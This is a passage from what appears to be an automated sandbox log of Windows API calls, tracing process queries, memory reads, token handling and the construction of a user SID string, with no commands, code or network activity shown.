ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0303.133] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0303.133] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5660c01020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0303.133] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2117e361200, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0303.133] malloc (_Size=0x64) returned 0x20abc2807d0 [0303.133] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2117e361864, lpBuffer=0x20abc2807d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0303.134] free (_Block=0x20abc2807d0) [0303.134] CloseHandle (hObject=0x16c) returned 1 [0303.135] _ui64tow_s (in: _Value=0xa54, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2644") returned 0x0 [0303.140] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="2644") returned 4 [0303.141] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0303.141] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0303.157] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa54) returned 0x16c [0303.157] GetLastError () returned 0x0 [0303.159] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0303.159] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x112bab0018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0303.159] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0303.159] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x142610b1c80, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0303.160] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x142610b18c8, lpBuffer=0x2dc24fc2d0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0303.168] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0303.169] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0303.169] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x112bab0020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0303.170] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x142610b12b0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0303.170] malloc (_Size=0x72) returned 0x20abc282120 [0303.170] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x142610b1922, lpBuffer=0x20abc282120, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0303.170] free (_Block=0x20abc282120) [0303.171] CloseHandle (hObject=0x16c) returned 1 Thread: id = 133 os_tid = 0x11cc [0156.232] DllCanUnloadNow () returned 0x1 [0249.414] DllCanUnloadNow () returned 0x0 [0249.415] DllCanUnloadNow () returned 0x1 Thread: id = 134 os_tid = 0x11c8 Thread: id = 135 os_tid = 0x11c4 [0127.978] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0127.979] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237db80 | out: pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x2dc237db80) returned 1 [0127.979] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abba48280 [0127.979] RtlRestoreLastWin32Error () returned 0x2dc20c1000 [0127.979] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x20abba48280, pcchLanguagesBuffer=0x2dc237db80 | out: pulNumLanguages=0x2dc237dc88, pwszLanguagesBuffer=0x20abba48280, pcchLanguagesBuffer=0x2dc237db80) returned 1 [0127.979] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x8) returned 0x20abba48260 [0127.979] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba48280) returned 1 [0127.979] RtlAllocateHeap (HeapHandle=0x20abba20000, Flags=0x0, Size=0x14) returned 0x20abba666c0 [0127.979] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x20abba666c0, pulNumLanguages=0x2dc237dc88 | out: pulNumLanguages=0x2dc237dc88) returned 1 [0127.979] RtlFreeHeap (HeapHandle=0x20abba20000, Flags=0x0, BaseAddress=0x20abba666c0) returned 1 [0127.986] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0127.990] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0127.990] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0127.991] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0127.991] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0127.995] GetCurrentThread () returned 0xfffffffffffffffe [0127.995] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x2dc237c510 | out: TokenHandle=0x2dc237c510*=0x2d4) returned 1 [0127.996] DuplicateTokenEx (in: hExistingToken=0x2d4, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x2dc237c528 | out: phNewToken=0x2dc237c528*=0x2f8) returned 1 [0127.996] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x0, ReturnLength=0x2dc237c4b0) returned 0 [0127.996] GetLastError () returned 0x7a [0127.996] malloc (_Size=0x2c) returned 0x20abc281510 [0127.996] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x20abc281510, TokenInformationLength=0x2c, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x20abc281510, ReturnLength=0x2dc237c4b0) returned 1 [0127.996] IsValidSid (pSid=0x20abc281520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0127.996] GetLengthSid (pSid=0x20abc281520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0127.996] malloc (_Size=0x1c) returned 0x20abc2aa060 [0127.996] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x20abc2aa060, pSourceSid=0x20abc281520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x20abc2aa060*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0127.996] GetSidIdentifierAuthority (pSid=0x20abc281520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc281522 [0127.996] malloc (_Size=0x18) returned 0x20abc281e00 [0127.997] _ultow (in: _Dest=0x5, _Radix=-1036533088 | out: _Dest=0x5) returned="5" [0127.997] malloc (_Size=0x18) returned 0x20abc281d20 [0127.997] malloc (_Size=0x18) returned 0x20abc281ba0 [0127.997] SysStringLen (param_1="S-1-") returned 0x4 [0127.997] SysStringLen (param_1="5") returned 0x1 [0127.997] memcpy (in: _Dst=0x20abba88298, _Src=0x20abba88118, _Size=0xa | out: _Dst=0x20abba88298) returned 0x20abba88298 [0127.997] memcpy (in: _Dst=0x20abba882a0, _Src=0x20abba6a898, _Size=0x4 | out: _Dst=0x20abba882a0) returned 0x20abba882a0 [0127.997] free (_Block=0x20abc281e00) [0127.997] free (_Block=0x20abc281d20) [0127.997] GetSidSubAuthorityCount (pSid=0x20abc281520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc281521 [0127.997] GetSidSubAuthority (pSid=0x20abc281520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x20abc281528 [0127.998] _ultow (in: _Dest=0x15, _Radix=-1036533088 | out: _Dest=0x15) returned="21" [0127.998] malloc (_Size=0x18) returned 0x20abc281e00 [0127.998] malloc (_Size=0x18) returned 0x20abc281ec0 [0127.998] SysStringLen (param_1="S-1-5") returned 0x5 [0127.998] SysStringLen (param_1="-") returned 0x1 [0127.998] memcpy (in: _Dst=0x20abba6a898, _Src=0x20abba88298, _Size=0xc | out: _Dst=0x20abba6a898) returned 0x20abba6a898 [0127.998] memcpy (in: _Dst=0x20abba6a8a2, _Src=0x20abba88118, _Size=0x4 | out: _Dst=0x20abba6a8a2) returned 0x20abba6a8a2 [0127.998] free (_Block=0x20abc281ba0) [0127.998] free (_Block=0x20abc281e00) [0127.998] malloc (_Size=0x18) returned 0x20abc281ee0 [0127.998] malloc (_Size=0x18) returned 0x20abc281a40 [0127.998] SysStringLen (param_1="S-1-5-") returned 0x6 [0127.998] SysStringLen (param_1="21") returned 0x2 [0127.999] memcpy (in: _Dst=0x20abba88118, _Src=0x20abba6a898, _Size=0xe | out: _Dst=0x20abba88118) returned 0x20abba88118 [0127.999] memcpy (in: _Dst=0x20abba88124, _Src=0x20abba88298, _Size=0x6 | out: _Dst=0x20abba88124) returned 0x20abba88124 [0127.999] free (_Block=0x20abc281ec0) [0127.999] free (_Block=0x20abc281ee0) [0127.999] GetSidSubAuthority (pSid=0x20abc281520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x20abc28152c [0127.999] _ultow (in: _Dest=0x5cffa865, _Radix=-1036533088 | out: _Dest=0x5cffa865) returned="1560258661" [0127.999] malloc (_Size=0x18) returned 0x20abc282060 [0127.999] malloc (_Size=0x18) returned 0x20abc281ca0 [0127.999] SysStringLen (param_1="S-1-5-21") returned 0x8 [0127.999] SysStringLen (param_1="-") returned 0x1 [0127.999] memcpy (in: _Dst=0x20abba88298, _Src=0x20abba88118, _Size=0x12 | out: _Dst=0x20abba88298) returned 0x20abba88298 [0127.999] memcpy (in: _Dst=0x20abba882a8, _Src=0x20abba6a898, _Size=0x4 | out: _Dst=0x20abba882a8) returned 0x20abba882a8 [0127.999] free (_Block=0x20abc281a40) [0127.999] free (_Block=0x20abc282060) [0127.999] malloc (_Size=0x18) returned 0x20abc281c20 [0127.999] malloc (_Size=0x18) returned 0x20abc281b40 [0128.000] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0128.000] SysStringLen (param_1="1560258661") returned 0xa [0128.000] memcpy (in: _Dst=0x20abba7e428, _Src=0x20abba88298, _Size=0x14 | out: _Dst=0x20abba7e428) returned 0x20abba7e428 [0128.000] memcpy (in: _Dst=0x20abba7e43a, _Src=0x20abba88118, _Size=0x16 | out: _Dst=0x20abba7e43a) returned 0x20abba7e43a [0128.000] free (_Block=0x20abc281ca0) [0128.000] free (_Block=0x20abc281c20) [0128.000] GetSidSubAuthority (pSid=0x20abc281520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x20abc281530 [0128.000] _ultow (in: _Dest=0xeddecfcf, _Radix=-1036533088 | out: _Dest=0xeddecfcf) returned="3990802383" [0128.000] malloc (_Size=0x18) returned 0x20abc281ea0 [0128.000] malloc (_Size=0x18) returned 0x20abc281dc0 [0128.000] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0128.000] SysStringLen (param_1="-") returned 0x1 [0128.000] memcpy (in: _Dst=0x20abba7e608, _Src=0x20abba7e428, _Size=0x28 | out: _Dst=0x20abba7e608) returned 0x20abba7e608 [0128.000] memcpy (in: _Dst=0x20abba7e62e, _Src=0x20abba88298, _Size=0x4 | out: _Dst=0x20abba7e62e) returned 0x20abba7e62e [0128.000] free (_Block=0x20abc281b40) [0128.000] free (_Block=0x20abc281ea0) [0128.000] malloc (_Size=0x18) returned 0x20abc281de0 [0128.001] malloc (_Size=0x18) returned 0x20abc282020 [0128.001] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0128.001] SysStringLen (param_1="3990802383") returned 0xa [0128.001] memcpy (in: _Dst=0x20abba9cdb8, _Src=0x20abba7e608, _Size=0x2a | out: _Dst=0x20abba9cdb8) returned 0x20abba9cdb8 [0128.001] memcpy (in: _Dst=0x20abba9cde0, _Src=0x20abba88298, _Size=0x16 | out: _Dst=0x20abba9cde0) returned 0x20abba9cde0 [0128.001] free (_Block=0x20abc281dc0) [0128.001] free (_Block=0x20abc281de0) [0128.001] GetSidSubAuthority (pSid=0x20abc281520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x20abc281534 [0128.001] _ultow (in: _Dest=0x6bfcce57, _Radix=-1036533088 | out: _Dest=0x6bfcce57) returned="1811730007" [0128.001] malloc (_Size=0x18) returned 0x20abc281da0 [0128.001] malloc (_Size=0x18) returned 0x20abc281ce0 [0128.001] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0128.002] SysStringLen (param_1="-") returned 0x1 [0128.002] memcpy (in: _Dst=0x20abba96358, _Src=0x20abba9cdb8, _Size=0x3e | out: _Dst=0x20abba96358) returned 0x20abba96358 [0128.002] memcpy (in: _Dst=0x20abba96394, _Src=0x20abba88298, _Size=0x4 | out: _Dst=0x20abba96394) returned 0x20abba96394 [0128.002] free (_Block=0x20abc282020) [0128.002] free (_Block=0x20abc281da0) [0128.002] malloc (_Size=0x18) returned 0x20abc281d00 [0128.002] malloc (_Size=0x18) returned 0x20abc2820e0 [0128.002] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-") returned 0x1f [0128.002] SysStringLen (param_1="1811730007") returned 0xa [0128.002] memcpy (in: _Dst=0x20abba9cdb8, _Src=0x20abba96358, _Size=0x40 | out: _Dst=0x20abba9cdb8) returned 0x20abba9cdb8 [0128.002] memcpy (in: _Dst=0x20abba9cdf6, _Src=0x20abba88298, _Size=0x16 | out: _Dst=0x20abba9cdf6) returned 0x20abba9cdf6 [0128.002] free (_Block=0x20abc281ce0) [0128.002] free (_Block=0x20abc281d00) [0128.003] GetSidSubAuthority (pSid=0x20abc281520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x4) returned 0x20abc281538 [0128.003] _ultow (in: _Dest=0x3e8, _Radix=-1036533088 | out: _Dest=0x3e8) returned="1000" [0128.003] malloc (_Size=0x18) returned 0x20abc281c20 [0128.003] malloc (_Size=0x18) returned 0x20abc2820c0 [0128.003] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007") returned 0x29 [0128.003] SysStringLen (param_1="-") returned 0x1 [0128.003] memcpy (in: _Dst=0x20abba96358, _Src=0x20abba9cdb8, _Size=0x54 | out: _Dst=0x20abba96358) returned 0x20abba96358 [0128.003] memcpy (in: _Dst=0x20abba963aa, _Src=0x20abba88298, _Size=0x4 | out: _Dst=0x20abba963aa) returned 0x20abba963aa [0128.003] free (_Block=0x20abc2820e0) [0128.003] free (_Block=0x20abc281c20) [0128.003] malloc (_Size=0x18) returned 0x20abc2819e0 [0128.003] malloc (_Size=0x18) returned 0x20abc281e00 [0128.004] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-") returned 0x2a [0128.004] SysStringLen (param_1="1000") returned 0x4 [0128.004] memcpy (in: _Dst=0x20abba9cdb8, _Src=0x20abba96358, _Size=0x56 | out: _Dst=0x20abba9cdb8) returned 0x20abba9cdb8 [0128.004] memcpy (in: _Dst=0x20abba9ce0c, _Src=0x20abba88298, _Size=0xa | out: _Dst=0x20abba9ce0c) returned 0x20abba9ce0c [0128.004] free (_Block=0x20abc2820c0) [0128.004] free (_Block=0x20abc2819e0) [0128.004] SysStringLen (param_1="S-1-5-21-1560258661-3990802383-1811730007-1000") returned 0x2e [0128.004] malloc (_Size=0x5e) returned 0x20abc2807d0 [0128.004] free (_Block=0x20abc281e00) [0128.004] malloc (_Size=0x18) returned 0x20abc2820a0 [0128.005] free (_Block=0x20abc2807d0) [0128.005] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc281520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468 | out: Name=0x0, cchName=0x2dc237c370, ReferencedDomainName=0x0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468) returned 0 [0128.009] GetLastError () returned 0x7a [0128.009] malloc (_Size=0x1a) returned 0x20abc2a9fd0 [0128.010] malloc (_Size=0xe) returned 0x20abc281be0 [0128.010] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x20abc281520*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), Name=0x20abc2a9fd0, cchName=0x2dc237c370, ReferencedDomainName=0x20abc281be0, cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468 | out: Name="RDhJ0CNFevzX", cchName=0x2dc237c370, ReferencedDomainName="XC64ZB", cchReferencedDomainName=0x2dc237c3d8, peUse=0x2dc237c468) returned 1 [0128.011] malloc (_Size=0x18) returned 0x20abc282080 [0128.011] malloc (_Size=0x18) returned 0x20abc2819a0 [0128.011] free (_Block=0x20abc2a9fd0) [0128.011] free (_Block=0x20abc281be0) [0128.012] free (_Block=0x20abc2aa060) [0128.012] free (_Block=0x20abc2819a0) [0128.012] free (_Block=0x20abc282080) [0128.012] free (_Block=0x20abc2820a0) [0128.013] free (_Block=0x20abc281510) [0128.013] GetVersionExW (in: lpVersionInformation=0x2dc237c640*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xffffffff, dwMinorVersion=0x1a8ab06, dwBuildNumber=0x0, dwPlatformId=0xc237c9e8, szCSDVersion="-") | out: lpVersionInformation=0x2dc237c640*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0128.013] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x0, ReturnLength=0x2dc237c4b0) returned 0 [0128.013] GetLastError () returned 0x7a [0128.013] malloc (_Size=0x2c) returned 0x20abc280d10 [0128.013] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x20abc280d10, TokenInformationLength=0x2c, ReturnLength=0x2dc237c4b0 | out: TokenInformation=0x20abc280d10, ReturnLength=0x2dc237c4b0) returned 1 [0128.013] IsValidSid (pSid=0x20abc280d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0128.013] GetLengthSid (pSid=0x20abc280d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0128.014] malloc (_Size=0x1c) returned 0x20abc2a9af0 [0128.014] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x20abc2a9af0, pSourceSid=0x20abc280d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x20abc2a9af0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0128.014] GetSidIdentifierAuthority (pSid=0x20abc280d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc280d22 [0128.014] malloc (_Size=0x18) returned 0x20abc281c80 [0128.014] _ultow (in: _Dest=0x5, _Radix=-1036533088 | out: _Dest=0x5) returned="5" [0128.014] malloc (_Size=0x18) returned 0x20abc281da0 [0128.014] malloc (_Size=0x18) returned 0x20abc2819a0 [0128.014] SysStringLen (param_1="S-1-") returned 0x4 [0128.014] SysStringLen (param_1="5") returned 0x1 [0128.014] memcpy (in: _Dst=0x20abba88118, _Src=0x20abba88298, _Size=0xa | out: _Dst=0x20abba88118) returned 0x20abba88118 [0128.014] memcpy (in: _Dst=0x20abba88120, _Src=0x20abba6a898, _Size=0x4 | out: _Dst=0x20abba88120) returned 0x20abba88120 [0128.014] free (_Block=0x20abc281c80) [0128.014] free (_Block=0x20abc281da0) [0128.014] GetSidSubAuthorityCount (pSid=0x20abc280d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x20abc280d21 [0128.014] GetSidSubAuthority (pSid=0x20abc280d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x20abc280d28 [0128.015] _ultow (in: _Dest=0x15, _Radix=-1036533088 | out: _Dest=0x15) returned="21" [0128.015] malloc (_Size=0x18) returned 0x20abc282060 [0128.015] malloc (_Size=0x18) returned 0x20abc281c40 [0128.015] SysStringLen (param_1="S-1-5") returned 0x5 [0128.015] SysStringLen (param_1="-") returned 0x1 [0128.015] memcpy (in: _Dst=0x20abba6a898, _Src=0x20abba88118, _Size=0xc | out: _Dst=0x20abba6a898) returned 0x20abba6a898 [0128.015] memcpy (in: _Dst=0x20abba6a8a2, _Src=0x20abba88298, _Size=0x4 | out: _Dst=0x20abba6a8a2) returned 0x20abba6a8a2 [0128.015] free (_Block=0x20abc2819a0) [0128.015] free (_Block=0x20abc282060) [0128.015] malloc (_Size=0x18) returned 0x20abc281e40 [0128.015] malloc (_Size=0x18) returned 0x20abc2819a0 [0128.015] SysStringLen (param_1="S-1-5-") returned 0x6 [0128.015] SysStringLen (param_1="21") returned 0x2 [0128.015] memcpy (in: _Dst=0x20abba88298, _Src=0x20abba6a898, _Size=0xe | out: _Dst=0x20abba88298) returned 0x20abba88298 [0128.015] memcpy (in: _Dst=0x20abba882a4, _Src=0x20abba88118, _Size=0x6 | out: _Dst=0x20abba882a4) returned 0x20abba882a4 [0128.016] free (_Block=0x20abc281c40) [0128.016] free (_Block=0x20abc281e40) [0128.016] GetSidSubAuthority (pSid=0x20abc280d20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x20abc280d2c [0128.016] _ultow (in: _Dest=0x5cffa865, _Radix=-1036533088 | out: _Dest=0x5cffa865) returned="1560258661" [0128.016] malloc (_Size=0x18) returned 0x20abc281a20 [0128.016] malloc (_Size=0x18) returned 0x20abc282080 [0128.016] SysStringLen (param_1="S-1-5-21") returned 0x8 [0128.016] SysStringLen (param_1="-") returned 0x1 [0128.016] memcpy (in: _Dst=0x20abba88118, _Src=0x20abba88298, _Size=0x12 | out: _Dst=0x20abba88118) returned 0x20abba88118 [0128.016] memcpy (in: _Dst=0x20abba88128, _Src=0x20abba6a898, _Size=0x4 | out: _Dst=0x20abba88128) returned 0x20abba88128 [0128.016] free (_Block=0x20abc2819a0) [0128.016] free (_Block=0x20abc281a20) [0128.016] malloc (_Size=0x18) returned 0x20abc281fa0 [0128.016] malloc (_Size=0x18) returned 0x20abc281ee0 [0128.016] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0128.016] SysStringLen (param_1="1560258661") returned 0xa [0128.016] memcpy (in: _Dst=0x20abba7e428, _Src=0x20abba88118, _Size=0x14 | out: _Dst=0x20abba7e428) returned 0x20abba7e428 [0128.017] memcpy (in: _Dst=0x20abba7e43a, _Src=0x20abba88298, _Size=0x16 | out: _Dst=0x20abba7e43a) returned 0x20abba7e43a [0128.017] free (_Block=0x20abc282080) [0128.017] free 